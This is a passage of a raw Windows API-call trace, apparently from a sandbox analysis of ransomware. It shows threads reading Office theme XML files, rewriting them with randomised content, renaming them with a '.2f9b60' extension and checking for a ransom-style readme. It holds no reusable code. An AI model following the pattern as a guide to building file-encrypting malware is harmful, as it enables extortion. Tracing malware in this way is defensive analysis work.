DestinationString=0x27defbd8, SourceString="05e6ea9baa8cdc25130576bbb8241c3f41a24305e3f3227d4d7c", AllocateDestinationString=1 | out: DestinationString="05e6ea9baa8cdc25130576bbb8241c3f41a24305e3f3227d4d7c") returned 0x0 [0095.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b8664c0 [0095.203] wcscat (in: _Dest=0x107b40, _Source="05e6ea9baa8cd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\05e6ea9baa8cd") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\05e6ea9baa8cd" [0095.204] wcscat (in: _Dest=0x107b40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\05e6ea9baa8cd.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\05e6ea9baa8cd.2f9b60" [0095.204] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\05e6ea9baa8cd.2f9b60", NtPathName=0x27defbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\05e6ea9baa8cd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776770 [0095.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0095.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0095.206] NtQueryInformationFile (in: FileHandle=0xe0c, IoStatusBlock=0x27defc18, FileInformation=0x27defc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27defc18, FileInformation=0x27defc28) returned 0x0 [0095.206] NtSetInformationFile (FileHandle=0xe0c, IoStatusBlock=0x27defc18, FileInformation=0x27defc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0095.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107b40) returned 1 [0095.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0095.920] FlushFileBuffers (hFile=0xe0c) returned 1 [0095.923] CloseHandle (hObject=0xe0c) returned 1 [0095.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107b40 [0095.925] wcscpy (in: _Dest=0x107b40, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0095.925] wcscat (in: _Dest=0x107b40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0095.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0095.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107b40) returned 1 [0095.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a6360) returned 1 Thread: id = 584 os_tid = 0x1004 [0094.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml")) returned 0x20 [0094.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml", dwFileAttributes=0x20) returned 1 [0094.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe10 [0094.842] GetFileSizeEx (in: hFile=0xe10, lpFileSize=0x27f6fa60 | out: lpFileSize=0x27f6fa60*=960) returned 1 [0094.842] SetFilePointerEx (in: hFile=0xe10, liDistanceToMove=0x3bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.842] ReadFile (in: hFile=0xe10, lpBuffer=0x27f6f9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27f6fa28, lpOverlapped=0x0 | out: lpBuffer=0x27f6f9e0*, lpNumberOfBytesRead=0x27f6fa28*=0x4, lpOverlapped=0x0) returned 1 [0094.941] SetFilePointerEx (in: hFile=0xe10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0094.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0094.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd60 [0094.941] NtQuerySystemTime (in: CurrentTime=0x27f6f920 | out: CurrentTime=0x27f6f920*=132462177007678000) returned 0x0 [0094.941] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x575fe41e [0094.941] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x130b8b4c [0094.941] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x367cdbcf [0094.941] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x6d668b0f [0094.941] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x673ffa97 [0094.942] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x5ccf6f0f [0094.942] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x5f3c7507 [0094.942] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x2bf13f8 [0094.942] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x67a80465 [0094.942] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x396d52c2 [0094.942] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x7a58fdbf [0094.942] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x6865c11d [0094.942] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x11252456 [0094.942] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x7fe9baa3 [0094.943] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x37405102 [0094.943] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x574af17a [0094.943] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x7ad9a340 [0094.943] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x6ec40498 [0094.943] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x32759415 [0094.943] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x726f19f7 [0094.943] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x44aafb0d [0094.943] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x7d8df35b [0094.943] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x1a9c505c [0094.943] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x1d7a4d98 [0094.943] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x597e828c [0094.943] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x45d1fcfc [0094.943] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x3fb9e57 [0094.943] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x362fb09b [0094.943] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x51bcd82d [0094.943] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x27263126 [0094.943] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x37efb6db [0094.943] RtlRandomEx (in: Seed=0x27f6f910 | out: Seed=0x27f6f910) returned 0x5b77b6 [0094.952] ReadFile (in: hFile=0xe10, lpBuffer=0x201e6910, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x27f6f910, lpOverlapped=0x0 | out: lpBuffer=0x201e6910*, lpNumberOfBytesRead=0x27f6f910*=0x3c0, lpOverlapped=0x0) returned 1 [0094.952] SetFilePointerEx (in: hFile=0xe10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.952] WriteFile (in: hFile=0xe10, lpBuffer=0x201ea520*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x27f6f914, lpOverlapped=0x0 | out: lpBuffer=0x201ea520*, lpNumberOfBytesWritten=0x27f6f914*=0x3c0, lpOverlapped=0x0) returned 1 [0094.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0094.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbe0) returned 1 [0094.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ea520) returned 1 [0094.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201e6910) returned 1 [0094.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0094.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0094.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0094.985] SetFilePointerEx (in: hFile=0xe10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.985] WriteFile (in: hFile=0xe10, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x27f6fa30, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x27f6fa30*=0x104, lpOverlapped=0x0) returned 1 [0095.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0095.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866340 [0095.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0095.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0095.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0095.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0095.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fdf0 [0095.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fdf0) returned 1 [0095.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0095.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0095.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b85fdf0 [0095.002] sprintf (in: _Dest=0x1b85fdf0, _Format="%c%c" | out: _Dest="00") returned 2 [0095.002] sprintf (in: _Dest=0x1b85fdf2, _Format="%c%c" | out: _Dest="49") returned 2 [0095.002] sprintf (in: _Dest=0x1b85fdf4, _Format="%c%c" | out: _Dest="a8") returned 2 [0095.002] sprintf (in: _Dest=0x1b85fdf6, _Format="%c%c" | out: _Dest="23") returned 2 [0095.002] sprintf (in: _Dest=0x1b85fdf8, _Format="%c%c" | out: _Dest="3b") returned 2 [0095.002] sprintf (in: _Dest=0x1b85fdfa, _Format="%c%c" | out: _Dest="ad") returned 2 [0095.002] sprintf (in: _Dest=0x1b85fdfc, _Format="%c%c" | out: _Dest="c6") returned 2 [0095.002] sprintf (in: _Dest=0x1b85fdfe, _Format="%c%c" | out: _Dest="c5") returned 2 [0095.002] sprintf (in: _Dest=0x1b85fe00, _Format="%c%c" | out: _Dest="95") returned 2 [0095.002] sprintf (in: _Dest=0x1b85fe02, _Format="%c%c" | out: _Dest="49") returned 2 [0095.002] sprintf (in: _Dest=0x1b85fe04, _Format="%c%c" | out: _Dest="1f") returned 2 [0095.002] sprintf (in: _Dest=0x1b85fe06, _Format="%c%c" | out: _Dest="0a") returned 2 [0095.002] sprintf (in: _Dest=0x1b85fe08, _Format="%c%c" | out: _Dest="af") returned 2 [0095.002] sprintf (in: _Dest=0x1b85fe0a, _Format="%c%c" | out: _Dest="dc") returned 2 [0095.002] sprintf (in: _Dest=0x1b85fe0c, _Format="%c%c" | out: _Dest="5b") returned 2 [0095.003] sprintf (in: _Dest=0x1b85fe0e, _Format="%c%c" | out: _Dest="86") returned 2 [0095.003] sprintf (in: _Dest=0x1b85fe10, _Format="%c%c" | out: _Dest="da") returned 2 [0095.003] sprintf (in: _Dest=0x1b85fe12, _Format="%c%c" | out: _Dest="46") returned 2 [0095.003] RtlInitAnsiString (in: DestinationString=0x27f6faa8, SourceString="0049a8233badc6c595491f0aafdc5b86da46" | out: DestinationString="0049a8233badc6c595491f0aafdc5b86da46") [0095.003] RtlAnsiStringToUnicodeString (in: DestinationString=0x27f6fa78, SourceString="0049a8233badc6c595491f0aafdc5b86da46", AllocateDestinationString=1 | out: DestinationString="0049a8233badc6c595491f0aafdc5b86da46") returned 0x0 [0095.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9c550 [0095.003] wcscat (in: _Dest=0x1b7a5910, _Source="0049a8233" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\0049a8233") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\0049a8233" [0095.003] wcscat (in: _Dest=0x1b7a5910, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\0049a8233.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\0049a8233.2f9b60" [0095.003] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\0049a8233.2f9b60", NtPathName=0x27f6fa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\0049a8233.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x118610 [0095.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0095.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf493f0) returned 1 [0095.207] NtQueryInformationFile (in: FileHandle=0xe10, IoStatusBlock=0x27f6fab8, FileInformation=0x27f6fac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27f6fab8, FileInformation=0x27f6fac8) returned 0x0 [0095.208] NtSetInformationFile (FileHandle=0xe10, IoStatusBlock=0x27f6fab8, FileInformation=0x27f6fac8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0095.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5910) returned 1 [0095.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c550) returned 1 [0095.449] FlushFileBuffers (hFile=0xe10) returned 1 [0095.451] CloseHandle (hObject=0xe10) returned 1 [0095.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107cc0 [0095.636] wcscpy (in: _Dest=0x107cc0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0095.636] wcscat (in: _Dest=0x107cc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0095.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0095.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107cc0) returned 1 [0095.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adb60) returned 1 Thread: id = 585 os_tid = 0x1008 [0094.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml")) returned 0x20 [0094.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml", dwFileAttributes=0x20) returned 1 [0094.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe14 [0094.845] GetFileSizeEx (in: hFile=0xe14, lpFileSize=0x2801fae0 | out: lpFileSize=0x2801fae0*=926) returned 1 [0094.845] SetFilePointerEx (in: hFile=0xe14, liDistanceToMove=0x39a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.845] ReadFile (in: hFile=0xe14, lpBuffer=0x2801fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2801faa8, lpOverlapped=0x0 | out: lpBuffer=0x2801fa60*, lpNumberOfBytesRead=0x2801faa8*=0x4, lpOverlapped=0x0) returned 1 [0094.925] SetFilePointerEx (in: hFile=0xe14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0094.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85feb0 [0094.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0094.925] NtQuerySystemTime (in: CurrentTime=0x2801f9a0 | out: CurrentTime=0x2801f9a0*=132462177007522000) returned 0x0 [0094.925] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x32e1324 [0094.925] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x1d4e382c [0094.925] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x2e5cc215 [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x12dd0764 [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x12a603c0 [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x30eb85fe [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x73ba0b65 [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x1190634f [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x4d2cd82c [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x6b8edd91 [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x43d90433 [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x5eb4b9ae [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x5ba22b45 [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x69daecc2 [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x4df5f9f8 [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x68fed012 [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x10752da7 [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x3f2a4e0b [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x12d8cca1 [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x57bf9841 [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x4257efdc [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x3f15ef3a [0094.926] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x2567bcc8 [0094.927] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x3d2acfd2 [0094.927] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x41b379d1 [0094.927] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x43d0895e [0094.927] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x544dcb81 [0094.927] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x5734007f [0094.927] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x4bda015a [0094.927] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x189957bb [0094.927] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x262174e0 [0094.927] RtlRandomEx (in: Seed=0x2801f990 | out: Seed=0x2801f990) returned 0x38b973c5 [0094.939] ReadFile (in: hFile=0xe14, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x39e, lpNumberOfBytesRead=0x2801f990, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2801f990*=0x39e, lpOverlapped=0x0) returned 1 [0094.939] SetFilePointerEx (in: hFile=0xe14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.939] WriteFile (in: hFile=0xe14, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x39e, lpNumberOfBytesWritten=0x2801f994, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2801f994*=0x39e, lpOverlapped=0x0) returned 1 [0094.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0094.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0094.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd30) returned 1 [0094.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0094.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85fd30 [0094.968] SetFilePointerEx (in: hFile=0xe14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.968] WriteFile (in: hFile=0xe14, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2801fab0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2801fab0*=0x108, lpOverlapped=0x0) returned 1 [0094.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0094.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866340 [0094.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0094.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f940) returned 1 [0094.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0094.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0094.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0094.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f970) returned 1 [0094.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0094.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0094.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f170 [0094.999] sprintf (in: _Dest=0x1cd9f170, _Format="%c%c" | out: _Dest="81") returned 2 [0094.999] sprintf (in: _Dest=0x1cd9f172, _Format="%c%c" | out: _Dest="6e") returned 2 [0094.999] sprintf (in: _Dest=0x1cd9f174, _Format="%c%c" | out: _Dest="83") returned 2 [0094.999] sprintf (in: _Dest=0x1cd9f176, _Format="%c%c" | out: _Dest="90") returned 2 [0094.999] sprintf (in: _Dest=0x1cd9f178, _Format="%c%c" | out: _Dest="af") returned 2 [0094.999] sprintf (in: _Dest=0x1cd9f17a, _Format="%c%c" | out: _Dest="7f") returned 2 [0094.999] sprintf (in: _Dest=0x1cd9f17c, _Format="%c%c" | out: _Dest="e8") returned 2 [0094.999] sprintf (in: _Dest=0x1cd9f17e, _Format="%c%c" | out: _Dest="7c") returned 2 [0094.999] sprintf (in: _Dest=0x1cd9f180, _Format="%c%c" | out: _Dest="f8") returned 2 [0094.999] sprintf (in: _Dest=0x1cd9f182, _Format="%c%c" | out: _Dest="30") returned 2 [0094.999] sprintf (in: _Dest=0x1cd9f184, _Format="%c%c" | out: _Dest="8e") returned 2 [0094.999] sprintf (in: _Dest=0x1cd9f186, _Format="%c%c" | out: _Dest="a3") returned 2 [0095.000] sprintf (in: _Dest=0x1cd9f188, _Format="%c%c" | out: _Dest="ce") returned 2 [0095.000] sprintf (in: _Dest=0x1cd9f18a, _Format="%c%c" | out: _Dest="32") returned 2 [0095.000] sprintf (in: _Dest=0x1cd9f18c, _Format="%c%c" | out: _Dest="9e") returned 2 [0095.000] sprintf (in: _Dest=0x1cd9f18e, _Format="%c%c" | out: _Dest="24") returned 2 [0095.000] sprintf (in: _Dest=0x1cd9f190, _Format="%c%c" | out: _Dest="4e") returned 2 [0095.000] sprintf (in: _Dest=0x1cd9f192, _Format="%c%c" | out: _Dest="49") returned 2 [0095.000] sprintf (in: _Dest=0x1cd9f194, _Format="%c%c" | out: _Dest="70") returned 2 [0095.000] sprintf (in: _Dest=0x1cd9f196, _Format="%c%c" | out: _Dest="87") returned 2 [0095.000] sprintf (in: _Dest=0x1cd9f198, _Format="%c%c" | out: _Dest="7b") returned 2 [0095.000] sprintf (in: _Dest=0x1cd9f19a, _Format="%c%c" | out: _Dest="9a") returned 2 [0095.000] RtlInitAnsiString (in: DestinationString=0x2801fb28, SourceString="816e8390af7fe87cf8308ea3ce329e244e4970877b9a" | out: DestinationString="816e8390af7fe87cf8308ea3ce329e244e4970877b9a") [0095.000] RtlAnsiStringToUnicodeString (in: DestinationString=0x2801faf8, 